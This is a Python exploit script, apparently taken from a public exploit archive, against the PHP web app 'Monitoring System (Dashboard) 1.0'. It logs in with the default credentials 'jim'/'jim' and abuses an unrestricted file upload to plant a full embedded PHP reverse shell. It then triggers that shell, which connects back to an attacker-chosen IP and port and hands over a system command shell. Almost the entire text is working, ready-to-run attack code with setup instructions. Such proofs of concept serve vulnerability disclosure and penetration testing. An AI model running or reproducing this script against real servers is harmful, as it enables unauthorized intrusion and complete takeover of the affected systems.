edafbb9119
4 changes to exploits/shellcodes Vembu BDR 4.2.0.1 U1 - Multiple Unquoted Service Paths Microsoft Exchange 2019 - SSRF to Arbitrary File Write (Proxylogon) Monitoring System (Dashboard) 1.0 - 'uname' SQL Injection Monitoring System (Dashboard) 1.0 - File Upload RCE (Authenticated)
263 lines
No EOL
12 KiB
Python
Executable file
263 lines
No EOL
12 KiB
Python
Executable file
# Exploit Title: Monitoring System (Dashboard) 1.0 - File Upload RCE (Authenticated)
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# Exploit Author: Richard Jones
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# Date: 2021-03-11
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# Vendor Homepage: https://www.sourcecodester.com/php/11741/monitoring-system-dashboard.html
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# Software Link: https://www.sourcecodester.com/download-code?nid=11741&title=Monitoring+System+%28Dashboard%29+using+PHP+with+Source+Code
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# Version: 1.0
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# Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34
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# Usage.
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# Change Target_IP, REV_IP, REV_PORT to your own
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import requests
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def main():
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##### Change info here #####
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TARGET_IP="127.0.0.1"
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REV_IP="127.0.0.1"
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REV_PORT=9999
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############################
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LOGIN="/asistorage/login.php"
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MAILING_LIST="/asistorage/modules/random/index.php?view=add"
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UPLOAD_URL="/asistorage/modules/random/upload.php"
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VIEW_ITEM="/asistorage/modules/random/index.php"
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CALL_URL="/asistorage/modules/random/uploads/"
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s = requests.Session()
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def phpshell():
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return """
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<?php
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// Copyright (c) 2020 Ivan Å incek
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// v1.1
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// Requires PHP v5.0.0 or greater.
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// Works on Linux OS, macOS and Windows OS.
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// See the original script at https://github.com/pentestmonkey/php-reverse-shell.
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header('Content-Type: text/plain; charset=UTF-8');
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class Shell {
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private $addr = null;
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private $port = null;
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private $os = null;
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private $shell = null;
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private $descriptorspec = array(
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0 => array('pipe', 'r'), // shell can read from STDIN
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1 => array('pipe', 'w'), // shell can write to STDOUT
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2 => array('pipe', 'w') // shell can write to STDERR
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);
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private $options = array(); // proc_open() options
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private $buffer = 1024; // read/write buffer size
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private $clen = 0; // command length
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private $error = false; // stream read/write error
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public function __construct($addr, $port) {
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$this->addr = $addr;
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$this->port = $port;
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if (stripos(PHP_OS, 'LINUX') !== false) { // same for macOS
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$this->os = 'LINUX';
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$this->shell = '/bin/sh';
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} else if (stripos(PHP_OS, 'WIN32') !== false || stripos(PHP_OS, 'WINNT') !== false || stripos(PHP_OS, 'WINDOWS') !== false) {
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$this->os = 'WINDOWS';
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$this->shell = 'cmd.exe';
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$this->options['bypass_shell'] = true; // we do not want a shell within a shell
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} else {
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echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n";
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exit(0);
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}
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}
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private function daemonize() {
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set_time_limit(0); // do not impose the script execution time limit
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if (!function_exists('pcntl_fork')) {
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echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n";
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} else {
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if (($pid = pcntl_fork()) < 0) {
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echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n";
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} else if ($pid > 0) {
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echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n";
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exit(0);
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} else if (posix_setsid() < 0) { // once daemonized you will no longer see the script's dump
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echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n";
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} else {
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echo "DAEMONIZE: Completed successfully!\n";
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}
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}
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umask(0); // set the file/directory permissions - 666 for files and 777 for directories
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}
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private function read($stream, $name, $buffer) {
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if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream
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$this->error = true; // set global error flag
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echo "STRM_ERROR: Cannot read from ${name}, script will now exit...\n";
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}
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return $data;
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}
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private function write($stream, $name, $data) {
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if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream
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$this->error = true; // set global error flag
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echo "STRM_ERROR: Cannot write to ${name}, script will now exit...\n";
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}
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return $bytes;
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}
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// read/write method for non-blocking streams
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private function rw($input, $output, $iname, $oname) {
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while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {
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echo $data; // script's dump
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if ($this->os === 'WINDOWS' && $oname === 'STDIN') { $this->clen += strlen($data); } // calculate the command length
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}
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}
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// read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS)
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// we must read the exact byte length from a stream and not a single byte more
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private function brw($input, $output, $iname, $oname) {
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$size = fstat($input)['size'];
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if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) { // for some reason Windows OS pipes STDIN into STDOUT
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$size -= $this->offset($input, $iname, $this->clen); // we do not like that
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$this->clen = 0;
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}
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$fragments = ceil($size / $this->buffer); // number of fragments to read
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$remainder = $size % $this->buffer; // size of the last fragment if it is less than the buffer size
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while ($fragments && ($data = $this->read($input, $iname, $remainder && $fragments-- == 1 ? $remainder : $this->buffer)) && $this->write($output, $oname, $data)) {
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echo $data; // script's dump
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}
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}
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private function offset($stream, $name, $offset) {
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$total = $offset;
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while ($offset > 0 && $this->read($stream, $name, $offset >= $this->buffer ? $this->buffer : $offset)) { // discard the data from a stream
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$offset -= $this->buffer;
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}
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return $offset > 0 ? $total - $offset : $total;
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}
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public function run() {
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$this->daemonize();
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// ----- SOCKET BEGIN -----
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$socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);
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if (!$socket) {
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echo "SOC_ERROR: {$errno}: {$errstr}\n";
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} else {
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stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns 'true' on Windows OS
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// ----- SHELL BEGIN -----
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$process = proc_open($this->shell, $this->descriptorspec, $pipes, '/', null, $this->options);
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if (!$process) {
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echo "PROC_ERROR: Cannot start the shell\n";
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} else {
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foreach ($pipes as $pipe) {
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stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns 'false' on Windows OS
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}
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// ----- WORK BEGIN -----
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fwrite($socket, "SOCKET: Shell has connected! PID: " . proc_get_status($process)['pid'] . "\n");
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while (!$this->error) {
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if (feof($socket)) { // check for end-of-file on SOCKET
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echo "SOC_ERROR: Shell connection has been terminated\n"; break;
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} else if (feof($pipes[1]) || !proc_get_status($process)['running']) { // check for end-of-file on STDOUT or if process is still running
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echo "PROC_ERROR: Shell process has been terminated\n"; break; // feof() does not work with blocking streams
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} // use proc_get_status() instead
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$streams = array(
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'read' => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR
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'write' => null,
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'except' => null
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);
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$num_changed_streams = stream_select($streams['read'], $streams['write'], $streams['except'], null); // wait for stream changes | will not wait on Windows OS
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if ($num_changed_streams === false) {
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echo "STRM_ERROR: stream_select() failed\n"; break;
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} else if ($num_changed_streams > 0) {
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if ($this->os === 'LINUX') {
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if (in_array($socket , $streams['read'])) { $this->rw($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
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if (in_array($pipes[2], $streams['read'])) { $this->rw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
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if (in_array($pipes[1], $streams['read'])) { $this->rw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
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} else if ($this->os === 'WINDOWS') {
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// order is important
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if (in_array($socket, $streams['read'])) { $this->rw ($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
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if (fstat($pipes[2])['size']/*-------*/) { $this->brw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
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if (fstat($pipes[1])['size']/*-------*/) { $this->brw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
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}
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}
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}
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// ------ WORK END ------
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foreach ($pipes as $pipe) {
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fclose($pipe);
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}
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proc_close($process);
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}
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// ------ SHELL END ------
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fclose($socket);
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}
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// ------ SOCKET END ------
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}
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}
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// change the host address and/or port number as necessary
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$reverse_shell = new Shell('OLDIP', OLDPORT);
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$reverse_shell->Run();
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?>"""
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def login(url,username, password):
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try:
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data = {
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"uname":username,
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"upass":password,
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"btnlogin":""
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}
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r = s.post(url,data=data, verify=False)
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page = r.text
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if "Invalid Username or Password, please try again." in page:
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return False
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else:
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return True
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except :
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return False
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def uploadShell(url):
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s.get(f"{url}{MAILING_LIST}") # Call page
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fileData = {
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'uploaded_file':("rev.php",str(phpshell().replace("OLDIP", REV_IP).replace("OLDPORT", str(REV_PORT))).encode(), "application/octet-stream")}
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data={
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"pname":"",
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"pname":"a",
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'cutoff':'',
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'cutoff':'a',
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'projectname':'',
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'type':'a',
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'projectname':'',
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'dsend':'2029-03-19',
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'desc':'a',
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'MAX_FILE_SIZE':100000,
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'Uploader':'',
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}
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up_url=f"{url}{UPLOAD_URL}"
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r = s.post(up_url, files=fileData,data=data, verify=False)
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if r.status_code == 200:
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print("shell uploaded")
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else:
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print("Shell upload failed")
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exit(0)
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r = s.get(f"{url}{VIEW_ITEM}")
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page = r.text
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DL_URL=page.split("download.php?filename=")[1].split("\">")[0]
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return DL_URL
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#Login
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base_url=f"http://{TARGET_IP}"
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login_url=f"{base_url}{LOGIN}"
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b=login(login_url, "jim", "jim")
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if not b:
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print("Login failed, Try again...")
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exit(0)
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#CAll shell
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base=f"{base_url}"
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CALL_URL_PART=uploadShell(base)
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c_url=f"{base}{CALL_URL}{CALL_URL_PART}"
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s.get(c_url)
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#Shell can be found at http:/TARGET//asistorage/modules/random/uploads/
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if __name__ == "__main__":
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main() |